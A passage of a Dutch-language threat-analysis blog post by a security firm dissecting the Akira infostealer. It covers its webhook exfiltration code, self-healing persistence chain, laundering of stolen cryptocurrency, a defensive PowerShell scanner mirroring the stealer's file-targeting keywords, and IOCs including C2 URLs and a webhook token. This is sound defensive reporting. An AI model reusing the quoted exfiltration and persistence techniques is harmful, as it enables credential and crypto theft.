'title': '🗄️ Exfiltration Complete',
'fields': [
{'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
]
}]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)
- De variabele
download_urlwordt geïnterpoleerd infields.valuevan de embed. - Bij de Telegram-fallback staat de
download_urlin de plattetekstparametermessage.
3. Beperkingen van EDR en forensische zichtbaarheid
- Geen lokale logging: de malware schrijft de
download_urlniet naar disk of naar systeemlogs. - Blinde vlekken in EDR: tools als Microsoft Defender for Endpoint kunnen de poging tot het HTTP-verzoek markeren, maar de ingesloten URL niet uitlezen.
4. Waarom een analist dit lokaal niet kan reconstrueren:
- Geen lokale kopie van de link: de malware houdt de
download_urlalleen in het geheugen en verzendt die over het netwerk; deze URL wordt niet naar disk of naar logs geschreven. - Opruimen van de tijdelijke staging: direct na de upload voert de code dit uit:
shutil.rmtree(ROOT),
waarmee alle gestageerde artefacten, inclusief tijdelijke tekstbestanden, uit%TEMP%worden gewist. - Verzending uitsluitend via het netwerk: webhook-calls (
requests.post) verlopen in het geheugen; op de machine van het slachtoffer ontstaan geen HTTP-logs of items in de browsergeschiedenis.
Implicatie voor analisten: Zonder live packet capture (bijvoorbeeld via een netwerk-TAP of proxy) op het moment van uitvoering is de exacte
download_urlna de infectie niet meer te achterhalen. Bovendien wordt het geëxfiltreerde archief automatisch bij de hostingdienst verwijderd, wat het tijdvenster voor forensisch ophalen verder verkleint. Imaging na de infectie of host-based forensisch onderzoek brengt de URL van de aanvaller of de credentials van de filehost niet aan het licht, omdat er lokaal geen artefacten achterblijven.
7.13 Conclusie
astor.py (Akira Stealer v2) is een uitgebreide, commercieel gedistribueerde stealer-toolkit. Het combineert een breed doelwitbereik, geraffineerde anti-analyse, dynamische controle over de infrastructuur en volledige data-diefstal over credentials, crypto, systeemprofilering en gebruikersbestanden. De modulariteit en stealth, samen met snelle herinfectiemethoden, maken het een van de technisch meest geavanceerde stealers die in actieve inzet zijn waargenomen.
8. Circulaire uitvoeringsketen: een self-healing loop
Een van de technisch meest geraffineerde elementen van deze campagne is het regeneratieve, circulaire uitvoeringsmodel. Anders dan conventionele malware met lineaire fasen die van dropper naar payload lopen en daarna verdwijnen, is deze operatie gebouwd als een closed loop, waarin elk component over de andere waakt.
Deze self-healing architectuur maakte de infectieketen niet alleen persistent, maar ook autonoom. Ze kon volledig herstellen van gedeeltelijke verwijdering. Zolang één onderdeel in leven bleef, kon het volledige malware-ecosysteem zichzelf weer opbouwen.
8.1 Gedragsanalyse
- Persistence-anker (
Updater.exe)Updater.exevormt de basis voor de voet aan de grond. Het bestand wordt doorgaans in een Windows-startuplocatie van de gebruiker geplaatst, zoals%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, of geregistreerd viaHKCU\Software\Microsoft\Windows\CurrentVersion\Run. De taak is eenvoudig maar cruciaal: zorgen datmain.exeaanwezig is en het stil starten tijdens de logon van de gebruiker. Alsmain.exeontbreekt, pakt het het archiefapp-64.7zopnieuw uit (uit een temp-map of opnieuw gedropt) en regenereert daarmee de volledige Electron-appstructuur. - Bridge loader (
main.exe)main.exeis de in Electron gewikkelde Node.js-applicatie. Het toont geen enkele GUI en werkt volledig op de achtergrond. Bij uitvoering draait het de ingebedde JavaScript-logica binnenapp.asar, met Node.js als runtime-omgeving. Deze abstractielaag koppelt de kernlogica los van de PE-stub, wat traditionele analyse bemoeilijkt. - Uitvoeringsorkestrator (
jscryter.js) Ingebed inapp.asaris dit de echte controller van de infectieketen. De belangrijkste functies zijn:- Controleren of
Updater.exeaanwezig is en het opnieuw uitrollen als het ontbreekt - Dynamisch injecteren van runtime-configuratie: webhook-URL's, C2-adressen, tokens
- Ofwel de al aanwezige Python-payload (
astor.py) aanroepen, ofwel deze downloaden als onderdeel van een ZIP-bundel (bijvoorbeeldpyth.zip) van infrastructuur onder controle van de aanvaller
- Controleren of
- Payload-uitvoering (
astor.py) Zodraastor.pywordt getriggerd, draait het in het geheugen viapython.exe. Het verzamelt systematisch opgeslagen credentials, cookies, Discord-tokens, browsersessiedata en extensies voor cryptowallets. De data wordt in een ZIP-archief klaargezet en via HTTPS geëxfiltreerd, meestal naar Discord-webhooks, maar ook fallback-API's zoalsgofile.ioof eigen C2-endpoints zijn waargenomen. - Integriteit van de loop en self-healing
Het ontwerp is circulair. Wordt
Updater.exeverwijderd, dan wordt het opnieuw uitgerold. Ontbreektmain.exe, dan paktUpdater.exehet opnieuw uitapp-64.7z. Wordtastor.pyverwijderd, dan haalt de JavaScript-laag het opnieuw op. Die onderlinge afhankelijkheid maakt de malware weerbaar en in staat om de uitvoeringsketen vanuit vrijwel elk overgebleven fragment te reconstrueren.
Deze architectuur is niet alleen modulair, maar zelfvoorzienend, doelbewust gebouwd voor stealth, flexibiliteit en langdurige overleving in doelomgevingen.
8.2 Waarom dit opmerkelijk is
Het architectonische ontwerp van de campagne laat een niveau van raffinement zien dat je bij commodity-infostealers normaal niet aantreft. Het gaat verder dan eenvoudige multi-stage loaders: dit is malware gebouwd voor operationele weerbaarheid, stealth en automatisering.
Belangrijkste kenmerken
- Volledige autonomie Zodra de malware is uitgerold, is er geen interactie van de gebruiker of externe heractivering nodig. Ze gedraagt zich als een kwaadaardige microservice die haar eigen persistence, payload-uitvoering en herstelroutines orkestreert zonder externe sturing.
- Uitvoeringsstack in meerdere talen
De toolchain integreert:
- PE-binaries (
Updater.exe,main.exe) - Node.js / JavaScript (via Electron)
- PowerShell (gebruikt als geobfusceerde payload-relay)
- Python (
astor.py, uitgevoerd als geheugenresidente stealer) Deze gelaagde samenstelling maakt het moeilijker om de malware te profileren, te fingerprinten en met conventionele statische tools te analyseren.
- PE-binaries (
- Defense evasion by design
Elk component is gecodeerd, versleuteld of dynamisch geïnjecteerd:
- Base64-PowerShell-relay
- AES-versleutelde en met GZIP gecomprimeerde Python-kern
- Geobfusceerd JavaScript met token-injectie tijdens runtime
- Self-healing gedrag dat gedeeltelijke verwijdering frustreert
- Geen enkel single point of failure
De zelfherstellende logica van de malware zorgt ervoor dat het verwijderen van één component niet volstaat. Wordt
Updater.exeverwijderd, dan maakt de infostealer het opnieuw aan. Wordtastor.pyverwijderd, dan wordt het door de JavaScript-controller opnieuw gedownload en uitgerold.
Kort gezegd gedraagt de malware zich meer als een gedistribueerd systeem dan als een typische payload, een systeem dat overlevingskans, modulariteit en stealth vooropstelt.
Daarmee stijgt de dreiging van een opportunistische aanval naar een weerbaar, adaptief platform, wat verdedigers dwingt die complexiteit te pareren met even gelaagde detectie- en responsstrategieën.
8.3 Implicaties voor blue teams
Voor verdedigers en CSOC-operators legt dit soort architectuur de lat hoger:
- Gedeeltelijke opruiming werkt niet. Alle knooppunten moeten worden geïdentificeerd en gelijktijdig verwijderd.
- Correlatie in Defender for Endpoint is essentieel. Analisten moeten volledige ketens traceren: van
Updater.exe→cmd.exe→powershell.exe→python.exe. - IOC-vrije persistence betekent dat heuristieken op geheugenniveau, telemetrie-baselining en ketengebaseerde detectie de sleutel zijn.
Dit is niet zomaar een stealer. Het is een weerbaar malwareplatform dat zich meer als een gedistribueerd systeem gedraagt dan als een eenvoudige dreiging. En precies dat maakt het zowel indrukwekkend als gevaarlijk.
9. Blockchain-tracking en -analyse
9.1 Geldstromen traceren in een op Litecoin gebaseerde malwarecampagne
Tijdens de reverse-engineeringfase van deze malwarecampagne hebben we meerdere hardcoded wallet-adressen geëxtraheerd die de stealer gebruikt voor het wegsluizen van cryptovaluta. Door de on-chain activiteit van deze Litecoin-wallets te volgen, konden we patronen blootleggen die duiden op doelbewuste witwastactieken. De wallet LW6EopiZ... onder controle van de aanvaller fungeert als centraal aggregatiepunt. Middelen die van meerdere slachtoffers zijn gestolen, worden naar dit adres gesluisd en daarna razendsnel verdeeld over meerdere nieuwe adressen.
Het gedrag dat hier te zien is, is kenmerkend voor een klassiek split-transferpatroon dat wordt gebruikt bij crypto-tumbling of mixing. In elk geval wordt het volledige inkomende saldo gesplitst in twee ongeveer proportionele uitgaande transacties, elk naar een andere wallet. Deze strategie is bedoeld om address clustering en chain tracing te bemoeilijken door de herkomst van de middelen te verhullen. Het is een effectieve tactiek om detectie door geautomatiseerde blockchain-analytics en threat intelligence-platformen te ontlopen.
Dit witwasgedrag gebruikt een combinatie van transactietiming, nauwkeurig gesplitste bedragen en het minimaliseren van adreshergebruik om de heuristieken te omzeilen die clusteringalgoritmes zoals die van GraphSense, Chainalysis of TRM Labs gewoonlijk toepassen. Het doel is transactiestromen met hoge entropie te creëren, die attributie vertroebelen en linkability doorbreken, vooral wanneer de middelen uiteindelijk naar andere assets worden gebridged of naar privacy-gerichte coins worden geruild.
In het voorbeeld hieronder tonen we een gestructureerde selectie van dit gedrag. De inkomende transacties vertegenwoordigen afzonderlijke overboekingen van slachtoffers. Die bedragen worden vervolgens exact toegewezen aan uitgaande stromen, waarbij de coins worden "gewassen" via snelle, voorspelbare en algoritmisch gesplitste uitbetalingen.
| Inputbron | Inputdatum | Bedrag in (LTC) | → Wallet aanvaller | Uitgaande adressen | Totaal uit (LTC) |
|---|---|---|---|---|---|
| Input_1 | 2024-09-21 | 0.25339198 | LLQtaBnSAF... |
- LZmHkgkED... (0.15579078, 2024-09-26)- M8JpDsw5H7... (0.09760120, 2024-09-26)
|
0.25339198 |
| Input_2 | 2024-04-16 | 1.09976044 | LLQtaBnSAF... |
- LgWrCAF8ED... (0.84304664, 2024-06-13)- LgWrCAF8ED... (0.25671380, 2024-06-13)
|
1.09976044 |
| Input_3 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LZL3wQcSRP... (0.38544673, 2024-03-04)- M8kiBpVHG3... (0.38544673, 2024-03-04)
|
0.77089346 |
| Input_4 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LUFLTrqYpix... (0.38544673, 2024-03-04)- La22dfH9eM... (0.38544673, 2024-03-04)
|
0.77089346 |
10. Binnen het Akira-ecosysteem: gecommercialiseerde cybercrime-infrastructuur
Akira is niet alleen een stealer, het is het middelpunt van een bloeiend ondergronds ecosysteem dat is opgezet om cybercrime te vereenvoudigen, te schalen en te monetariseren.
10.1 Een plug-and-play ecosysteem voor threat actors
Het Akira-ecosysteem illustreert de evolutie van cybercrime naar een geprofessionaliseerde, service-gedreven economie. Het omvat:
- Builder bots voor payload-generatie op aanvraag (bijvoorbeeld
@AkiraRedBot) - Telegram-kanalen voor updates, feature requests en klantsupport
- Geautomatiseerde licentie- en betalingsafhandeling, vaak via directe berichten of anonieme e-commerceplatformen zoals Sellix
- Gebundelde modules zoals clipboard-hijackers, Discord-tokenloggers, browserdata-stealers en zelfs ransomware-add-ons
- Aanpasbare payloads met configuratie-interfaces voor toggles, webhook-invoer en eigen iconen

10.2 Commercialisering van cybercrime
De structuur van Akira weerspiegelt een bredere beweging richting "Malware-as-a-Service" (MaaS), waarbij:
- Geen diepgaande technische kennis nodig is om aanvallen te starten
- De instapkosten laag zijn ($75 voor 3 maanden, $150 voor lifetime)
- Support en documentatie direct beschikbaar zijn via Telegram
- Bijdragen uit de community Akira regelmatig uitbreiden met scripts en feature-suggesties
Dit ecosysteem kopieert legitieme SaaS-businessmodellen, met changelogs, UX-verbeteringen, prijsniveaus en upsells.

10.3 Voorbij de stealer: de componenten van het ecosysteem
astor.py is het hart van veel aanvallen, maar het ecosysteem levert een volledige keten:
- Obfuscation-tools zoals PyInstaller-wrappers
- File binders om kwaadaardige payloads aan onschuldige software te koppelen
- Compilers, crypters en polymorfisme tijdens runtime
- Hosting-mirrors voor payload-levering en exfiltratie (bijvoorbeeld GoFile, AnonFiles)
- Databeheerbots die gestolen credentials en hardwareprofielen samenvatten

11. Akira Stealer QuickCheck: getroffen bestanden
11.1 Waarvoor dient dit?
Na een vermoedelijke Akira Stealer-infectie is het cruciaal om direct te weten welke bestanden op je systeem risico liepen om te worden geëxfiltreerd. Het hierboven beschreven QuickCheck PowerShell-script repliceert de exacte zoeklogica van Akira: het scant de mappen Desktop, Documents, Downloads en OneDrive van de gebruiker op bestanden die:
- Gevoelige trefwoorden in hun bestandsnaam bevatten, zoals
password,wallet,backupoftoken - Specifieke, veelgebruikte doelextensies hebben (.txt, .docx, .pdf, .jpg, enzovoort)
- Onder de door de malware gehanteerde limiet van 2 MB blijven
QuickCheck geeft een snel overzicht op basis van de interne logica van Akira Stealer, maar is geen vervanging voor volwaardige forensische tools of professionele incident response. Volg bij bevestigde inbreuken altijd op met diepgaandere analyse.
Daarna toont het een gesorteerde tabel met Bestandsnaam, Relatief pad, Grootte (KB) en het trefwoord dat de match veroorzaakte.
DISCLAIMER Deze tool wordt “as is” geleverd, zonder enige garantie op volledigheid of geschiktheid voor een bepaald doel. Ze garandeert niet dat alle potentieel gevoelige bestanden worden gevonden en vervangt geen volledige malware-forensics. Gebruik op eigen risico.
Juridische kennisgeving
Deze QuickCheck-utility is uitsluitend bedoeld voor defensieve security-assessments. Ongeoorloofd scannen of gebruik op systemen die niet je eigendom zijn, kan in strijd zijn met wetgeving over privacy, auteursrecht of computermisbruik. glueckkanja AG aanvaardt geen aansprakelijkheid voor misbruik of schade als gevolg van het gebruik.
PowerShell-script
<#
.SYNOPSIS
QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.
.DESCRIPTION
Scans Desktop, Documents, Downloads and OneDrive for files that:
• Contain one of the defined keywords in their name
• Have an allowed file extension
• Are not larger than 2 MB
Presents the results in a colored, tabular overview.
.NOTES
© glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>
# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
"$env:USERPROFILE\Desktop",
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Downloads",
"$env:USERPROFILE\OneDrive"
)
$keywords = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize = 2MB
# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()
foreach ($folder in $scanFolders) {
if (-not (Test-Path $folder)) { continue }
Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
# 2.1 Extension filter
if ($extensions -notcontains $_.Extension.ToLower()) { return }
# 2.2 Size filter
if ($_.Length -gt $maxSize) { return }
# 2.3 Keyword filter: explicit loop to avoid null-method calls
$hit = $null
foreach ($kw in $keywords) {
if ($_.Name.ToLower().Contains($kw)) {
$hit = $kw
break
}
}
if (-not $hit) { return }
# 2.4 Build relative path
$rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)
# 2.5 Collect
$matches.Add([PSCustomObject]@{
FileName = $_.Name
Location = $rel
'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
Keyword = $hit
})
}
}
# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan
if ($matches.Count -gt 0) {
$matches |
Sort-Object Location, FileName |
Format-Table -AutoSize `
@{Label='File'; Expression={$_.FileName}},
@{Label='Location'; Expression={$_.Location}},
@{Label='Size (KB)'; Expression={$_. 'Size (KB)'}},
@{Label='Keyword'; Expression={$_.Keyword}}
Write-Host "`n⚠️ Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}
Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray
12. Voorbij respons: hoe glueckkanja CSOC incidenten omzet in inzichten
De meeste security operations centers stoppen bij containment. Wij niet.
Bij glueckkanja CSOC zien we incident response niet als eindstreep, maar als startpunt.
Waar anderen de overwinning uitroepen en verdergaan, graven wij dieper. Voor ons is elk incident een kans om te leren, ons aan te passen en sterker te worden. Onze onvermoeibare nieuwsgierigheid, gevoed door jaren forensische expertise en reverse-engineeringcapaciteit, zorgt ervoor dat we niet alleen verdedigen, maar anticiperen.
Vanuit die filosofie hebben we de Akira Compromise Reporter gebouwd.
Deze intern ontwikkelde forensische tool gaat veel verder dan basisdetectie: met onze diepgaande kennis van de Akira Stealer geeft ze volledige helderheid over welke data is gecompromitteerd. Binnen enkele minuten levert ze een precies, actiegericht beeld van de volledige impact van het incident:
- Exact welke credentials, tokens en browsersessies zijn gestolen.
- Precies welke cryptowallets, messaging-accounts en bestanden zijn blootgesteld.
- Een helder, gestructureerd en gedetailleerd forensisch rapport, dat onzekerheid omzet in onmiddellijk, onderbouwd handelen.

Want bij glueckkanja meten we succes niet alleen aan geblokkeerde dreigingen, maar aan geboden helderheid. Cybersecurity die goed wordt gedaan, gaat niet over simpelweg reageren op incidenten, maar over begrijpen, aanpassen en altijd een stap voorblijven.
Dat is het verschil van glueckkanja CSOC.
13. Indicators of Compromise (IOCs)
Hieronder staat een uitgebreide, letterlijke verzameling IOC's die tijdens ons interne reverse-engineeringproces bij glueckkanja CSOC direct uit de malwarecode zijn gehaald. Er zijn geen aannames of externe threat intelligence-bronnen gebruikt, alle indicatoren zijn bevestigde bevindingen. Alle URL's zijn opzettelijk geobfusceerd om onbedoelde clicks te voorkomen.
Afkortingen:
- TG: Telegram-rapportagekanaal
- Alt: Alternatief (fallback) endpoint
1. Domeinen & URL's
| Categorie | Geobfusceerde URL | Beschrijving |
|---|---|---|
| Primaire injectie | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php |
Initieel webhook-endpoint van de aanvaller |
| Fallback-injectie | https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php |
Alternatief injector-endpoint |
| Foutrapportage (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php |
URL voor Telegram-foutmeldingen en logs |
| Foutrapportage (alt) | https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php |
Alternatieve URL voor foutmeldingen en logs |
| Vanity-bot (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php |
Endpoint voor meldingen over vanity-adressen |
| Vanity-bot (alt) | https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php |
Alternatief endpoint voor vanity-meldingen |
| Exodus-injectie | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar |
Electron-module van de Exodus-app |
| Atomic-injectie | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar |
Electron-module AtomicWallet |
| Updater-download | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe |
Executable van de persistence-dropper |
| Gofile API-lijst | https[:]//api.gofile[.]io/servers |
Haalt de beste GoFile-uploadserver op |
| Discord-tokencheck | https[:]//discordapp[.]com/api/v9/users/@me |
Valideert gestolen Discord-token |
| Discord-facturatiegegevens | https[:]//discord[.]com/api/users/@me/billing/payment-sources |
Haalt betaalmethoden op |
| Google OAuth-replay | https[:]//accounts[.]google[.]com/oauth/multilogin |
Speelt gestolen Google-sessietokens opnieuw af |
| IP-check (hosting) | http[:]//ip-api[.]com/line/?fields=hosting |
Detectie van hostingomgeving |
| IP-lookup (geo) | http[:]//ip-api[.]com/json/{ip} |
Geolocatie op basis van IP |
| Ophalen publiek IP | https[:]//api[.]ipify[.]org |
Haalt het externe IP-adres op |
| File.io-upload | https[:]//file[.]io/ |
Secundair exfiltratiekanaal |
| Oshi.at-upload | http[:]//oshi[.]at/ |
Tertiair exfiltratiekanaal |
| JS-dropper primair | https[:]//rentry[.]co/7vzd22fg36hfdd33/raw | Remote verwijzing naar de eigenlijke ZIP-URL |
| JS-dropper fallback 1 | https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip | Alternatieve payload-ZIP |
| JS-dropper fallback 2 | https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip | Secundaire fallback-payload-ZIP |
2. Cryptovaluta-adressen
| Valuta | Adres |
|---|---|
| BTC | bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt |
| ETH | 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5 |
| DOGE | DACeoqWDPmNARSZAeDZPFwqwecbByaksmd |
| LTC | LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH |
| XMR | 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D |
| BCH | qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs |
| DASH | XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1 |
| TRX | TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK |
| XRP | r36AwwhUH7BRujevi5mukbDrG46KGbTk8V |
| XLM | GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33 |
3. Registersleutels / paden
| Registerpad | Doel |
|---|---|
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc |
Controleert op de signature van een virtuele GPU-driver |
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName |
Controleert op de providernaam van een virtuele GPU |
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (waarde Realtek Audio) |
Persistence via Run-key (Updater.exe) |
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe |
Persistence-executable |
5. Bestanden & hashes
| Bestandsnaam | SHA256 | Grootte (bytes) |
|---|---|---|
| app-64.7z | 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 |
63936274 |
| main.exe | C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B |
162036224 |
| jscrypter.js | 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF |
1429 |
| obf.js | 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 |
30138 |
| input.js | E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 |
7155 |
| package.json | 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 |
211 |
| astor.py | 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 |
205210 |
| exodus.asar | 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB |
132486332 |
| pow.bat | 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 |
28454 |
| download.dat | C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B |
21142 |
| pyth.zip | E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 |
32375391 |
| Updater.exe | 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 |
37652937 |
5. Discord- & Telegram-identifiers
| Categorie | Waarde |
|---|---|
| Discord webhook-ID | 1226766972675428372 |
| Discord webhook-token | BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz |
| Telegram-ID | 5035121855 |
14. Terugblik op het Akira Stealer-incident: versterk je verdediging met glueckkanja CSOC
In deze blogpost hebben we het geraffineerde karakter van de Akira Infostealer onderzocht, een geavanceerde cyberdreiging die zich kenmerkt door gerichte credential theft, onopvallende data-exfiltratie en persistence-methoden die traditionele verdediging ontwijken. Begrijpen hoe deze malware werkt, welke risico's ze meebrengt en welke kwetsbaarheden ze uitbuit, is essentieel voor een robuuste securitystrategie.
De Akira Infostealer richt zich specifiek op gevoelige data zoals inloggegevens, browsersessies, cryptowallets, messagingdiensten en persoonlijke of bedrijfsbestanden. De berekende en precieze werkwijze vraagt meer dan standaard securitymaatregelen, namelijk continue monitoring, diepgaande forensische analyse en proactieve threat intelligence.
Bij glueckkanja CSOC zetten we onze diepe technische expertise en geavanceerde analysecapaciteit in om verder te gaan dan simpele detectie. Ons gespecialiseerde team monitort dreigingen doorlopend in real time vanaf onze eigen CSOC-servers, waardoor dreigingen zoals de Akira Infostealer direct worden geïdentificeerd, grondig onderzocht en effectief onschadelijk gemaakt.
Ons werk stopt echter niet bij incident response. Elk gedetecteerd incident verrijkt onze kennisbasis, versterkt onze security posture en zorgt ervoor dat we toekomstige dreigingen enkele stappen voor blijven. Met glueckkanja CSOC krijg je meer dan bescherming, namelijk een adaptieve securitypartner die zich inzet voor jouw weerbaarheid op lange termijn.
Zet de volgende stap in het beveiligen van de digitale assets van je organisatie.
Neem vandaag contact op met de cybersecurity-experts van glueckkanja, dan beveiligen we samen proactief jouw toekomst.
Versterk je verdediging met glueckkanja CSOC.
15. Security- en juridische disclaimer – gebruik van echte malwarecode
Deze publicatie bevat gedetailleerde technische inzichten, waaronder codefragmenten en gedragsanalyses die afkomstig zijn van daadwerkelijk schadelijke software die tijdens incident response en forensisch onderzoek is aangetroffen. Het doel van het delen van deze informatie is strikt educatief en bedoeld om professionele verdedigers te helpen dreigingen uit de praktijk beter te begrijpen, te detecteren en erop te reageren. We publiceren dit in goed vertrouwen en met de intentie bij te dragen aan de bredere securitycommunity.
Belangrijk is dat delen van de opgenomen code afkomstig zijn uit toolkits van threat actors en uit malwaresamples die in het wild circuleren. Deze fragmenten zijn niet ons intellectuele eigendom en mogen niet als veilig, opgeschoond of anderszins "ongevaarlijk" worden beschouwd. Het reproduceren of operationeel gebruiken van dergelijke code raden we expliciet af. Lezers moeten begrijpen dat dit materiaal een onderzoeks- en bewustwordingsfunctie heeft, maar inherent een risicoprofiel meebrengt dat niet onderschat mag worden.
Alleen getrainde professionals die binnen juridisch toegestane omgevingen werken, zoals geaccrediteerde securityteams, SOC-units, academische onderzoekers of malwarelabs, zouden met de beschreven technieken of code aan de slag moeten gaan. Alle experimenten moeten beperkt blijven tot geïsoleerde systemen buiten productie en voldoen aan de toepasselijke wetgeving, interne richtlijnen en ethische normen.
We bieden geen support of validatie voor gereproduceerde code of gedrag. Er is geen garantie op juistheid, relevantie of volledigheid. Daarnaast wijzen we elk gebruik van deze content voor offensieve doeleinden, ongeautoriseerd red teaming, commerciële malwareontwikkeling of adversarial testing buiten een juridisch afgebakende scope expliciet af. Misbruik kan juridische gevolgen hebben. glueckkanja AG wijst elke verantwoordelijkheid af voor directe of indirecte schade die voortkomt uit het gebruik of de verkeerde interpretatie van deze content.
Door deze content verder te lezen of eraan te refereren, erken je het bovenstaande en ga je ermee akkoord geen enkel deel ervan te misbruiken, te repliceren of toe te passen in onwettige of onethische contexten. Twijfel je, raadpleeg dan je juridische afdeling, compliance of functionaris gegevensbescherming voordat je met live code-analyse of vergelijkbaar technisch materiaal aan de slag gaat.
Deze publicatie wordt geleverd "as is", zonder garantie, support of aansprakelijkheid.















